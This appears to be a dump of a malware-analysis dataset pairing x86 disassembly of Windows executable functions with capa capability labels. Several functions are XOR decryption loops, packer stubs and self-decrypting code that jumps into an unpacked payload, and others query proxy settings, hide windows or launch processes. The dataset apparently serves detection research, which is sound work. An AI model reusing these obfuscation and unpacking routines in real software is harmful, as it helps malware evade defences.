joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407458
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x407467
pop dword [ebp - 0x48]
mov eax, 0xdfe5ecea
add eax, 0x205a877d
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0x3d00781b
add dword [ebp - 0x58], 0x1151cd30
mov dword [ebp - 0x54], 0xeefb6335
sub dword [ebp - 0x54], 0xbcc816f0
mov dword [ebp - 0x50], 0x45276ff7
sub dword [ebp - 0x50], 0xf8db2bc9
mov dword [ebp - 0x4c], 0x1ed1e685
sub dword [ebp - 0x4c], 0x1ed1e685
lea eax, [ebp - 0x58]
push eax
mov eax, 0x3a9fe67c
add eax, 0xc5a099fc
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0x30f9e7b4
sub dword [ebp - 0x58], 0xbc877e5e
mov dword [ebp - 0x54], 0x62abc99
sub dword [ebp - 0x54], 0xc4be5b24
mov dword [ebp - 0x50], 0x795e741a
add dword [ebp - 0x50], 0xea10f852
mov dword [ebp - 0x4c], 0x5191db87
add dword [ebp - 0x4c], 0xae6e2479
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, 0x17ce71c3
sub eax, 0x178df147
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x37488
push 0
call eax
mov ecx, 0x19cb4013
sub ecx, 0x19caf759
mov edi, eax
mov esi, 0x8ed1f2a0
sub esi, 0x8e8cdea0
add esi, dword [ebp - 0x48]
mov ebx, 0xbde51200
add ebx, 0x6ed3f4b5
mov dword [ebp - 0x34], 0x19f19854
mov edx, dword [esi]
sub dword [ebp - 0x10], ebx
xor edx, ebx
xor dword [ebp - 0x24], ecx
mov dword [edi], edx
add edi, 0x138735c0
add edi, 0xec78ca44
add esi, 0x7cf59b1e
sub esi, 0x7cf59b1a
loop 0x407589
add eax, 0x115bb
mov ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x48]
call ebx
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x40c5d0
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x210
mov ebx, dword [ebp + 8]
mov eax, dword [0x43300c]
xor eax, ebp
mov dword [ebp - 0x10], eax
lea edi, [ebp - 0x21a]
push 0x20a
push 0
push edi
call fcn.0040f9d0
add esp, 0xc
push ebx
call fcn.0040d0bb
add esp, 4
xor esi, esi
cmp eax, 0x104
ja 0x40c63e
mov esi, dword [ebp + 0xc]
push 0x104
push ebx
push edi
call fcn.0040d26d
add esp, 0xc
push edi
call dword [sym.imp.SHLWAPI.dll_PathStripToRootW]
push edi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
xor ecx, ecx
cmp eax, 3
sete cl
mov dword [esi], ecx
xor esi, esi
inc esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040dac1
mov eax, esi
add esp, 0x210
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x40e1f0
Capabilities:
Terminate process

Disassembly:
push 0x14
push 0x431bd8
call fcn.0040dc90
push 1
call fcn.0040d76f
pop ecx
test al, al
je 0x40e1ce
xor bl, bl
mov byte [ebp - 0x19], bl
and dword [ebp - 4], 0
call fcn.0040d720
mov byte [ebp - 0x24], al
mov eax, dword [0x433a1c]
xor ecx, ecx
inc ecx
cmp eax, ecx
je 0x40e1ce
test eax, eax
jne 0x40e0ec
mov dword [0x433a1c], ecx
push 0x430730
push 0x430714
call fcn.00413ff9
pop ecx
pop ecx
test eax, eax
je 0x40e0cf
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x40e1be
push 0x430710
push 0x430708
call fcn.00413f9d
pop ecx
pop ecx
mov dword [0x433a1c], 2
jmp 0x40e0f1
mov bl, cl
mov byte [ebp - 0x19], bl
push dword [ebp - 0x24]
call fcn.0040d752
pop ecx
call fcn.0040e303
mov esi, eax
xor edi, edi
cmp dword [esi], edi
je 0x40e122
push esi
call fcn.0040d68c
pop ecx
test al, al
je 0x40e122
mov esi, dword [esi]
push edi
push 2
push edi
mov ecx, esi
call dword [section..00cfg]
call esi
call fcn.0040e309
mov esi, eax
cmp dword [esi], edi
je 0x40e140
push esi
call fcn.0040d68c
pop ecx
test al, al
je 0x40e140
push dword [esi]
call fcn.00412e85
pop ecx
call fcn.00410142
mov edi, dword [eax]
call fcn.0041013c
mov esi, eax
call fcn.00413aba
push eax
push edi
push dword [esi]
call main
add esp, 0xc
mov esi, eax
call fcn.0040d904
test al, al
je 0x40e1d5
test bl, bl
jne 0x40e173
call fcn.00412e67
push 0
push 1
call fcn.0040d7a8
pop ecx
pop ecx
mov dword [ebp - 4], 0xfffffffe
mov eax, esi
jmp 0x40e1be
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret
push 7
call fcn.0040d964
push esi
call fcn.00412e3b
push dword [ebp - 0x20]
call fcn.00412e51
int3
call fcn.005a7000
jmp 0x40e062

Function at 0x41cb59
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0041cda4

Function at 0x41f379
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0041f384
Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..rsrc
nop
nop
nop
nop
push 4
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x432072
nop
mov ebx, 0x40c7d0
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0xb9217ac
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x432060
nop
nop
nop
nop
mov eax, section..data
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x4320d2
nop
nop
mov ebx, 0x42f314
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0x23eb6bdf
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
loop 0x4320c0
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x48edd4
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4a9b30]
jne 0x48edde
repz ret
jmp fcn.00493887

Function at 0x491a11
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4a9b30]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0048bfb2
and dword [ebp - 0x14], 0
cmp dword [0x4acb0c], 0
mov dword [ebp - 0x18], eax
jne 0x491ac4
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x491b6c
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x491b6c
mov esi, dword [fcn.00487fe0]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x4acb0c], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x4acb10], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x4acb14], eax
call edi
push eax
call esi
mov dword [0x4acb1c], eax
test eax, eax
je 0x491ac4
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x4acb18], eax
mov eax, dword [0x4acb18]
mov ecx, dword [ebp - 0x18]
mov esi, dword [fcn.00487fe4]
cmp eax, ecx
je 0x491b1d
cmp dword [0x4acb1c], ecx
je 0x491b1d
push eax
call esi
push dword [0x4acb1c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x491b1d
test ebx, ebx
je 0x491b1d
call edi
test eax, eax
je 0x491b14
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x491b14
test byte [ebp - 8], 1
jne 0x491b1d
or dword [ebp + 0x10], 0x200000
jmp 0x491b50
mov eax, dword [0x4acb10]
cmp eax, dword [ebp - 0x18]
je 0x491b50
push eax
call esi
test eax, eax
je 0x491b50
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x491b50
mov eax, dword [0x4acb14]
cmp eax, dword [ebp - 0x18]
je 0x491b50
push eax
call esi
test eax, eax
je 0x491b50
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x4acb0c]
call esi
test eax, eax
je 0x491b6c
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x491b6e
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0048edd4
leave
ret

Function at 0x110c330
Capabilities:
Encode data using xor

Disassembly:
jmp 0x110c33a
pushal
call 0x110c340
pop ebp
sub ebp, 0x10
sub ebp, 0xd0c330
jmp 0x110c356
mov eax, 0xd0c330
add eax, ebp
add eax, 0x4c
mov ecx, 0x586
mov edx, 0x70df574c
xor byte [eax], dl
inc eax
dec ecx
jne 0x110c36d
jmp 0x110c380
mov dword [ecx + 0x4c70c5c7], 0x8dcd4c4c
mov ah, 0x4c
dec esp
dec esp
dec edi
xor esp, 0x4c4c4c45
mul byte [esp + ecx*2 + 0x4c]
dec esp
mov ebx, 0xc7844fae
int 0x40
dec esp
dec esp
dec esp
dec edi
mov dword [esp + ebx], ebx
and al, 0x78
pushal
push ebx
dec esp
and al, 0xb0
invalid
Function at 0x4010b0
Capabilities:
Copy file

Disassembly:
push ebx
push ebp
push esi
mov esi, dword [sym.imp.MSVCRT.dll_fopen]
push edi
push 0x403174
push str.dllclient.ex.new
call esi
mov ebp, dword [sym.imp.MSVCRT.dll__unlink]
mov edi, dword [sym.imp.MSVCRT.dll_fclose]
mov ebx, dword [sym.imp.KERNEL32.dll_CopyFileA]
add esp, 8
test eax, eax
je 0x401101
push eax
call edi
add esp, 4
push 0
push str.dllclient.ex
push str.dllclient.ex.new
call ebx
test eax, eax
je 0x401101
push str.dllclient.ex.new
call ebp
add esp, 4
push 0x403174
push str.dllext_pack.bpl.new
call esi
add esp, 8
test eax, eax
je 0x401136
push eax
call edi
add esp, 4
push 0
push str.dllext_pack.bpl
push str.dllext_pack.bpl.new
call ebx
test eax, eax
je 0x401136
push str.dllext_pack.bpl.new
call ebp
add esp, 4
push 0x403174
push str.dllodm_pub_ptr.dll.new
call esi
add esp, 8
test eax, eax
je 0x40116b
push eax
call edi
add esp, 4
push 0
push str.dllodm_pub_ptr.dll
push str.dllodm_pub_ptr.dll.new
call ebx
test eax, eax
je 0x40116b
push str.dllodm_pub_ptr.dll.new
call ebp
add esp, 4
push 0x403174
push str.dllgui_app.dll.new
call esi
add esp, 8
test eax, eax
je 0x4011a0
push eax
call edi
add esp, 4
push 0
push str.dllgui_app.dll
push str.dllgui_app.dll.new
call ebx
test eax, eax
je 0x4011a0
push str.dllgui_app.dll.new
call ebp
add esp, 4
push 0x403174
push str.dllpdu_app.dll.new
call esi
add esp, 8
test eax, eax
je 0x4011d5
push eax
call edi
add esp, 4
push 0
push str.dllpdu_app.dll
push str.dllpdu_app.dll.new
call ebx
test eax, eax
je 0x4011d5
push str.dllpdu_app.dll.new
call ebp
add esp, 4
push 0x403174
push str.dllmup_app.dll.new
call esi
add esp, 8
test eax, eax
je 0x40120a
push eax
call edi
add esp, 4
push 0
push str.dllmup_app.dll
push str.dllmup_app.dll.new
call ebx
test eax, eax
je 0x40120a
push str.dllmup_app.dll.new
call ebp
add esp, 4
push 0x403174
push str.dll_rep_app.dll.new
call esi
add esp, 8
test eax, eax
je 0x40123f
push eax
call edi
add esp, 4
push 0
push str.dll_rep_app.dll
push str.dll_rep_app.dll.new
call ebx
test eax, eax
je 0x40123f
push str.dll_rep_app.dll.new
call ebp
add esp, 4
push 0x403174
push str.dll_tbx_app.dll.new
call esi
add esp, 8
test eax, eax
je 0x401274
push eax
call edi
add esp, 4
push 0
push str.dll_tbx_app.dll
push str.dll_tbx_app.dll.new
call ebx
test eax, eax
je 0x401274
push str.dll_tbx_app.dll.new
call ebp
add esp, 4
push 0x403174
push str.dll_app_ssl.dll.new
call esi
add esp, 8
test eax, eax
je 0x4012a9
push eax
call edi
add esp, 4
push 0
push str.dll_app_ssl.dll
push str.dll_app_ssl.dll.new
call ebx
test eax, eax
je 0x4012a9
push str.dll_app_ssl.dll.new
call ebp
add esp, 4
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
ret
Function at 0x4013d9
Capabilities:
Get proxy

Disassembly:
mov eax, 0x4cc539
call fcn.004ca860
sub esp, 0x428
push ebx
push esi
xor ebx, ebx
push edi
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x24], 0x104
mov esi, 0x206
push esi
lea eax, [ebp - 0x22a]
push ebx
mov dword [ebp - 4], ebx
push eax
mov word [ebp - 0x22c], bx
call fcn.004a6df0
push esi
lea eax, [ebp - 0x432]
push ebx
push eax
mov word [ebp - 0x434], bx
call fcn.004a6df0
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
add esp, 0x18
lea eax, [ebp - 0x1c]
push eax
push 1
push ebx
push str.SoftwareMicrosoftWindowsCurrentVersionInternet_Settings
mov edi, SysReAllocString
push edi
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x1c], ebx
call esi
cmp eax, ebx
jne 0x40147d
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x20]
push eax
push str.ProxyEnable
lea eax, [ebp - 0x10]
push eax
call fcn.00403465
cmp dword [ebp - 0x10], ebx
je 0x40147d
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 0x10], ebx
cmp dword [ebp - 0x10], ebx
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x14], eax
je 0x401491
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x14], ebx
je 0x4015c2
lea eax, [ebp - 0x10]
push eax
push 1
push ebx
push str.SoftwareMicrosoftWindowsCurrentVersionInternet_Settings
push edi
mov dword [ebp - 0x10], ebx
call esi
cmp eax, ebx
jne 0x4015c2
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
push str.ProxyServer
lea eax, [ebp - 0x14]
push eax
lea esi, [ebp - 0x24]
lea edi, [ebp - 0x22c]
call fcn.004033fe
cmp eax, ebx
jne 0x4015b4
cmp word [ebp - 0x22c], bx
je 0x4015b4
mov eax, edi
push 0x104
push eax
call fcn.004a686a
mov esi, dword [ebp + 8]
mov edi, str.socks
lea eax, [ebp - 0x22c]
push edi
push eax
mov dword [esi], 2
call fcn.004a56df
add esp, 0x10
cmp eax, ebx
mov dword [ebp + 8], eax
je 0x401539
mov dword [esi], 3
push edi
call fcn.004a56c9
mov ecx, dword [ebp + 8]
lea eax, [ecx + eax*2]
push eax
lea eax, [ebp - 0x434]
push eax
call fcn.004026aa
jmp 0x401572
mov edi, str.http
lea eax, [ebp - 0x22c]
push edi
push eax
call fcn.004a56df
cmp eax, ebx
pop ecx
pop ecx
mov dword [ebp + 8], eax
mov dword [esi], 2
jne 0x40151e
lea eax, [ebp - 0x22c]
push eax
lea eax, [ebp - 0x434]
push 0x104
push eax
call fcn.004a687d
add esp, 0xc
lea eax, [ebp - 0x434]
push eax
lea eax, [ebp + 8]
push eax
call fcn.00403321
mov esi, dword [ebp + 0x10]
push dword [ebp + 0xc]
mov ecx, esi
lea ebx, [ebp + 8]
mov byte [ebp - 4], 1
call fcn.004015d6
mov eax, dword [ebp + 8]
add eax, 0xfffffff0
call fcn.004027f4
mov eax, dword [esi]
xor ebx, ebx
cmp dword [eax - 0xc], ebx
je 0x4015b4
mov dword [ebp - 0x18], 1
cmp dword [ebp - 0x10], ebx
je 0x4015c2
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x18]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 0xc
Function at 0x402b6b
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push esi
push dword [esp + 0xc]
mov esi, eax
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x402b82
pop esi
ret
push edi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
je 0x402bb7
push dword [esp + 0x10]
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
add eax, edi
and esi, 0xf
jbe 0x402bb3
cmp edi, eax
jae 0x402bb7
dec esi
movzx ecx, word [edi]
lea edi, [edi + ecx*2 + 2]
jne 0x402ba5
cmp edi, eax
jb 0x402bbb
xor eax, eax
jmp 0x402bc5
mov ax, word [edi]
neg ax
sbb eax, eax
and eax, edi
pop edi
pop esi
ret

Function at 0x4033fe
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [esi]
and dword [esi], 0
add eax, eax
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
push edi
lea eax, [ebp + 0xc]
push eax
mov eax, dword [ebp + 8]
push 0
push dword [ebp + 0xc]
push dword [eax]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x403461
cmp dword [ebp + 0xc], 1
je 0x40343a
cmp dword [ebp + 0xc], 2
je 0x40343a
push 0xd
pop eax
jmp 0x403461
test edi, edi
mov eax, dword [ebp - 4]
je 0x40345b
test eax, eax
je 0x403457
test al, 1
jne 0x403435
mov ecx, eax
shr ecx, 1
cmp word [edi + ecx*2 - 2], 0
je 0x40345b
jmp 0x403435
and word [edi], 0
shr eax, 1
mov dword [esi], eax
xor eax, eax
leave
ret 8
Function at 0x404280
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov ecx, dword [ebp + 0x10]
push ebx
push esi
mov esi, eax
sub ecx, dword [esi + 0x14]
mov eax, dword [ebp + 0xc]
sub eax, dword [esi + 0x10]
mov edx, dword [esi]
push edi
push 1
push ecx
xor ebx, ebx
mov dword [ebp + 0x10], ecx
push eax
mov ecx, esi
mov dword [ebp + 0xc], eax
mov dword [ebp - 0xc], ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
call dword [edx + 0x8c]
mov edi, dword [esi + 0x174]
cmp edi, ebx
mov dword [ebp - 0x10], eax
je 0x4043c7
push edi
call fcn.004334e5
mov ebx, eax
test ebx, ebx
pop ecx
je 0x404397
mov eax, dword [ebx + 0xc]
push 2
mov dword [ebp - 0xc], eax
mov eax, dword [ebx]
push 0
mov ecx, ebx
call dword [eax + 0x38]
mov eax, dword [ebx]
mov ecx, ebx
call dword [eax + 0x48]
test eax, eax
je 0x4042fd
lea eax, [ebx + 0x10]
push eax
call fcn.00428a7e
movzx eax, word [ebp + 0x10]
movzx ecx, word [ebp + 0xc]
shl eax, 0x10
or eax, ecx
push eax
push dword [ebp + 8]
mov ecx, ebx
push 0x202
call fcn.00433773
mov eax, dword [ebp - 0x10]
cmp dword [esi + 0x174], eax
jne 0x404354
mov eax, dword [ebx + 0x3c]
xor ecx, ecx
cmp eax, ecx
je 0x404346
cmp word [eax], cx
je 0x404346
push 1
push ecx
push ecx
push eax
push str.open
push ecx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
jmp 0x404397
cmp dword [ebx + 0xc], ecx
je 0x404397
mov dword [ebp - 4], 1
jmp 0x404397
mov eax, dword [ebx]
push 1
push 0
mov ecx, ebx
call dword [eax + 0x38]
mov eax, dword [ebx]
mov ecx, ebx
call dword [eax + 0x48]
test eax, eax
je 0x404373
lea eax, [ebx + 0x10]
push eax
call fcn.00428a7e
movzx eax, word [ebp + 0x10]
movzx ecx, word [ebp + 0xc]
shl eax, 0x10
or eax, ecx
push eax
push dword [ebp + 8]
mov ecx, ebx
push 0x2a3
call fcn.00433773
mov dword [ebp - 8], 1
xor ecx, ecx
cmp dword [ebp - 4], ecx
mov dword [esi + 0x174], ecx
je 0x4043a8
push 0x67
jmp 0x4043c0
cmp dword [ebp - 8], ecx
je 0x4043c7
cmp dword [ebp - 0xc], ecx
je 0x4043c7
lea eax, [esi + 0x170]
cmp edi, dword [eax]
jne 0x4043be
mov dword [eax], ecx
push 0x6a
mov edi, ebx
call fcn.00403e8b
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x405e1f
Capabilities:
Print debug messages

Disassembly:
mov eax, 0x4d0582
call fcn.004ca860
sub esp, 0x10
push dword [ebp + 8]
lea eax, [ebp + 8]
push eax
call fcn.00403321
and dword [ebp - 4], 0
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [ebp - 0xe]
push eax
movzx eax, word [ebp - 0x10]
push eax
movzx eax, word [ebp - 0x12]
push eax
movzx eax, word [ebp - 0x14]
push eax
push str.__02d__02d__02d__03d__n
lea ecx, [ebp + 8]
call fcn.00414cb5
add esp, 0x14
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov eax, dword [ebp + 8]
add eax, 0xfffffff0
call fcn.004027f4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
leave
ret 4
Function at 0x4085cf
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x11c
push esi
push edi
mov esi, 0x11c
push esi
xor edi, edi
lea eax, [ebp - 0xa4]
push edi
push eax
call fcn.004a6df0
add esp, 0xc
lea eax, [ebp - 0xa4]
mov dword [ebp - 0xa4], esi
mov esi, dword [sym.imp.KERNEL32.dll_GetVersionExW]
push eax
call esi
cmp eax, edi
jne 0x408628
lea eax, [ebp - 0xa4]
push eax
mov dword [ebp - 0xa4], 0x114
call esi
cmp eax, edi
je 0x4086d6
mov eax, dword [ebp - 0x94]
dec eax
je 0x4086c2
dec eax
jne 0x4086d6
cmp dword [ebp - 0xa0], 6
jne 0x408673
inc eax
cmp dword [ebp - 0x9c], eax
jne 0x40865b
xor ecx, ecx
cmp byte [ebp + 0x76], al
setne cl
add ecx, 8
jmp 0x40866f
cmp dword [ebp - 0x9c], edi
jne 0x4086af
xor ecx, ecx
cmp byte [ebp + 0x76], al
setne cl
lea ecx, [ecx + ecx + 7]
mov edi, ecx
jmp 0x4086d6
cmp dword [ebp - 0xa0], 5
jne 0x4086a2
cmp dword [ebp - 0x9c], 2
jne 0x408689
push 5
jmp 0x4086bf
cmp dword [ebp - 0x9c], 1
jne 0x408696
push 6
jmp 0x4086bf
cmp dword [ebp - 0x9c], edi
jne 0x4086d6
push 3
jmp 0x4086bf
cmp dword [ebp - 0xa0], 4
ja 0x4086d6
push 4
jmp 0x4086bf
cmp dword [ebp - 0x9c], 2
jne 0x4086d6
cmp byte [ebp + 0x76], al
jne 0x4086d6
push 0xa
pop edi
jmp 0x4086d6
mov eax, dword [ebp - 0x98]
and eax, 0xffff0000
cmp eax, 0x45a0000
sbb edi, edi
inc edi
inc edi
mov eax, edi
pop edi
pop esi
add ebp, 0x78
leave
ret
Function at 0x40b6a7
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, 0x4cc459
call fcn.004ca860
push esi
mov esi, dword [ebp + 8]
push edi
xor edi, edi
mov dword [esi], edi
mov dword [ebp - 4], edi
mov eax, vtable.KEvent.0
mov dword [esi + 4], eax
mov dword [esi + 8], edi
mov dword [esi + 0xc], eax
mov dword [esi + 0x10], edi
mov dword [esi + 0x2c], edi
mov dword [esi + 0x30], edi
mov dword [esi + 0x34], edi
mov byte [ebp - 4], 3
call fcn.00413d4b
lea ecx, [esi + 0x3c]
mov dword [ecx], eax
mov byte [eax + 0x15], 1
mov eax, dword [ecx]
mov dword [eax + 4], eax
mov eax, dword [ecx]
mov dword [eax], eax
mov ecx, dword [ecx]
mov dword [ecx + 8], ecx
mov ecx, dword [ebp - 0xc]
mov dword [esi + 0x40], edi
mov dword [esi + 0x44], edi
mov dword [esi + 0x18], edi
mov dword [esi + 0x1c], edi
mov dword [esi + 0x20], edi
mov dword [esi + 0x24], edi
pop edi
mov eax, esi
pop esi
mov dword fs:[0], ecx
leave
ret 4

Function at 0x40c454
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push edi
xor edi, edi
inc edi
cmp dword [ebp + 0xc], 0x4e
jne 0x40c489
mov eax, dword [ebp + 0x14]
cmp dword [eax + 4], 0x3e8
jne 0x40c489
mov ecx, esi
mov dword [esi + 0x52c], edi
call fcn.0040c3c2
mov dword [ebx], eax
cmp dword [esi + 0x52c], 0
je 0x40c489
mov eax, edi
jmp 0x40c4d0
push 0
push ebx
push dword [ebp + 0x14]
mov ecx, esi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00486f2e
test eax, eax
jne 0x40c485
mov eax, dword [ebp + 0xc]
cmp eax, 0x402
jne 0x40c4d5
push 5
push dword [esi + 4]
lea eax, [esi + 0x52c]
mov dword [ebp + 0xc], eax
mov dword [eax], edi
call dword [sym.imp.USER32.dll_ShowWindow]
and dword [ebx], 0
mov eax, dword [ebp + 0xc]
cmp dword [eax], 0
jne 0x40c485
xor eax, eax
pop edi
pop ebp
ret 0x10
cmp eax, 0x403
jne 0x40c50f
mov eax, dword [esi + 0x530]
mov dword [esi + 0x28], eax
xor eax, eax
push eax
push eax
push eax
mov dword [esi + 0x52c], edi
mov dword [esi + 0x51c], edi
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_PostThreadMessageW]
and dword [ebx], 0
cmp dword [esi + 0x52c], 0
jmp 0x40c4cc
cmp eax, 0x465
jne 0x40c53c
lea ecx, [esi + 0x2c]
mov dword [esi + 0x52c], edi
call fcn.0040d61d
mov dword [esi + 0x5a4], eax
mov eax, dword [esi + 0x30]
push 5
lea ecx, [esi + 0x568]
call fcn.0048743d
jmp 0x40c503
cmp eax, 0x110
jne 0x40c4ce
lea eax, [esi + 0x52c]
push ecx
mov ecx, dword [ebp + 0x10]
mov dword [eax], edi
mov dword [ebp + 0xc], eax
mov eax, esp
mov dword [eax], ecx
mov ecx, esi
call fcn.0040be1e
mov dword [ebx], eax
jmp 0x40c4c6